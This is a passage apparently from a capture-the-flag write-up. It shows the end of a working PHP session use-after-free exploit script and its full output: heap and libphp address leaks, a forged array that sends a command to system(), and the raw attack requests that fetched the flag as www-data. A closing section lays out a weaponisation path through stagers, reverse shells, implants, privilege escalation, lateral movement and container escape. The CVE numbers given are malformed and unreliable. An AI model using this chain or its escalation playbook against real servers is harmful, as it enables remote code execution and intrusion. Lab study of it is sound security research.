    ap.add_argument("--port", type=int, default=PORT, help="target port (default: %(default)s)")
    args = ap.parse_args()

    HOST, PORT = args.host, args.port
    cmd = args.cmd.encode()
    if len(cmd) > MAX_CMD:
        raise SystemExit(f"[-] cmd is {len(cmd)} bytes; the carrier allows at most "
                         f"{MAX_CMD}.  Write a script to /out/c and run:  "
                         f"4claude.py 'sh</out/c'")

    rotate(); chunk = leak1()
    rotate(); libphp = leak2()
    if not (chunk and libphp):
        raise SystemExit("[-] a leak failed; rerun or sweep calibration")

    rotate()
    stage3(chunk, libphp, cmd)

    time.sleep(0.5)
    print("\n" + "=" * 72)
    # Only read /out/p when the command actually redirected there; otherwise a
    # bare command like `whoami` writes nothing and the leftover from an earlier
    # run would masquerade as this run's output.  We cannot delete /out/p to
    # avoid that: it is owned by www-data through the container mount.
    if b"/out/p" not in cmd:
        print(f"Command {cmd.decode()!r} ran server-side (uid www-data), but its")
        print("stdout does not come back over HTTP.  Redirect to see it, e.g.")
        print("  4claude.py 'whoami>/out/p'")
    else:
        for path in PROOF_CANDIDATES:
            if os.path.exists(path):
                print(f"PROOF ({path}): {open(path).read().strip()}")
                break
        else:
            print("Redirected, but no local /out/p.  Check it with:")
            print("  docker exec php2shell-target cat /out/p")

Running it to read the flag (appending to the proof file, which already held www-data from an earlier whoami>/out/p):

$ python3 4claude.py 'cat /f>>/out/p'
########################################################################
# LEAK 1 - heap leak -> Zend MM chunk base
########################################################################
[+] Zend MM chunk base = 0x77d773200000

########################################################################
# LEAK 2 - libphp leak -> libphp base
########################################################################
[+] libphp base = 0x77d774f6f000

########################################################################
# STAGE 3 - CVE-109619: fake array -> zif_system
########################################################################
[*] HTDATA = 0x77d7732690d8   ZIF = 0x77d7753d4370   cmd = b'cat /f>>/out/p'

=== A3: re-dangle and pin R0 ==========================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12584151
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Connection: close
    (body: 10 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
  name="PHPSESSID"  value 19B: aaaaaaaaaaaaaaaaaaa
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: ppp
  [ 6 filler parts ]  name p000000000000000000000000000000 .. p000000000000000000000000000005  value 31B each
  name="f" filename="a.txt"  value 64B: AAAAAAAA[... 64 x b'A' ...]
  name="big"  value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]

--- fake array (167B), sprayed 15x so one lands at HTDATA ---
  00000000  01 00 00 00 07 00 00 00 10 00 00 00 f8 ff ff ff
  00000010  f8 90 26 73 d7 77 00 00 01 00 00 00 01 00 00 00   <- arData
  00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00000030  70 43 3d 75 d7 77 00 00 00 00 00 00 00 00 00 00   <- pDestructor = zif_system
  ... 103 more bytes
  0x00000098  63 61 74 20 2f 66 3e 3e 2f 6f 75 74 2f 70  <- command b'cat /f>>/out/p'

--- carrier (15B) overwriting PS(http_session_vars).val ---
  00000000  01 00 00 00 1a 00 00 00 d8 90 26 73 d7 77 00

=== B3: plant the fake array and fire =================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
Content-Length: 4278
Connection: close
    (body: 20 multipart fields, boundary=BBBBBBBBBB)
  name="PHPSESSID"  value 19B: attacksessionid0001
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: pwn
  name="f00"  value 15B: FFFFFFFFFFFFFFF
  name="f01"  value 15B: FFFFFFFFFFFFFFF
  name="g00"  value 15B: \x01\x00\x00\x00\x1a\x00\x00\x00\xd8\x90&s\xd7w\x00
  [ 15 filler parts ]  name a000000000000000000000000000000 .. a000000000000000000000000000014  value 167B each

[*] payload delivered; command ran inside the worker

========================================================================
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): www-data
THM{REDACTED}

The flag is THM{REDACTED} - the name itself (redacted here) spells out the bug.

8. How it fits together, and the real fix

#StageDangling globalMechanismResult
0The bugboth12 MB field OOMs inside php_session_initialize(); the bailout skips the session RSHUTDOWNtwo pointers into freed heap
1Leak 1 (CVE-618)PS(id)forged zend_string, len=0x1000, read back via php_url_encode into Set-CookieZend MM chunk base
2Leak 2 (CVE-618)PS(id)PS(id) lands on a real HashTable; 16-byte read exposes pDestructor = ZVAL_PTR_DTORlibphp.so base
3RCE (CVE-619)PS(http_session_vars)fake reference to a fake array whose pDestructor = zif_system, fired by zval_ptr_dtor in php_session_track_initsystem(cmd) as www-data

The authoritative fix is the upstream PHP change referenced by the two CVEs: it closes the window so the session globals are cleared after a bailout even when it escaped before the modules were marked active, so nothing dangles into the next request. Short of patching, the lab config shows how many independent settings each break a required link - the chain needs all of them at once:

None of these is the fix - they are just the load-bearing walls. The real repair is upstream, in the engine.

9. Beyond the proof-of-concept: operating from a 7-byte primitive

A fair objection: 7 bytes of command is useless for real work - no recon, no privilege escalation, no lateral movement fits in it. True, but the 7 bytes are a doorway, not a room. You pass through them once and then make them irrelevant.

The cap is an artifact of this payload, not of the bug. The primitive is system() with an attacker-controlled string, and its length is bounded only by where the string is carried - here the 167-byte fake zend_string. That was convenient, not necessary: a weaponised version grooms a larger controlled buffer and points the fake execute_data argument at it, buying hundreds of bytes. The "14" is a property of this PoC, not a ceiling.

Even with the cap, you stage. This is the standard escape from any tiny exec primitive:

  1. Write a stager to disk - a few >> appends build an arbitrary-length script a run at a time. In this lab it is handed to you: write a full script to /out/c, then
  2. run it with sh</out/c (8 bytes), and from there a script with no length limit; and
  3. have that script open an interactive channel - a reverse shell or a small implant. After that you are in a normal shell and the 7-byte window is behind you for good.
7-byte exec  ->  write a stager file  ->  sh<file (full-size commands)
             ->  reverse shell / implant  ->  real session  ->  post-exploitation

Only then does the list above begin. Recon (id, uname -a, sudo -l, ps, ss, env), privilege escalation (SUID, sudo misconfig, capabilities, cron, kernel) and lateral movement (keys, credentials, pivoting) all happen in that interactive session, never typed through the primitive.

And here it is a container. The shell is www-data inside Docker - the mount output in section 6 shows the overlay root and the bind mounts. So the realistic next objective is not "root in the container" but a container escape: a mounted docker.sock, privileged flags, host mounts, CAP_SYS_ADMIN, or a kernel bug - exactly what the section-6 mount, env and /proc recon feeds. The CTF stops at the flag; a real engagement would pivot here to the host.

One practical note: each exploit run is expensive - two leaks plus stage 3, with a worker rotation between them - so you minimise invocations. Ideally one run plants a fat stager and one run launches it, rather than fifty 7-byte recon commands.

In short: the hard part is already done - the memory corruption, the ASLR bypass, reliable code execution. The 7 bytes that follow are a solved problem you step over with a single sh<.

10. References and further reading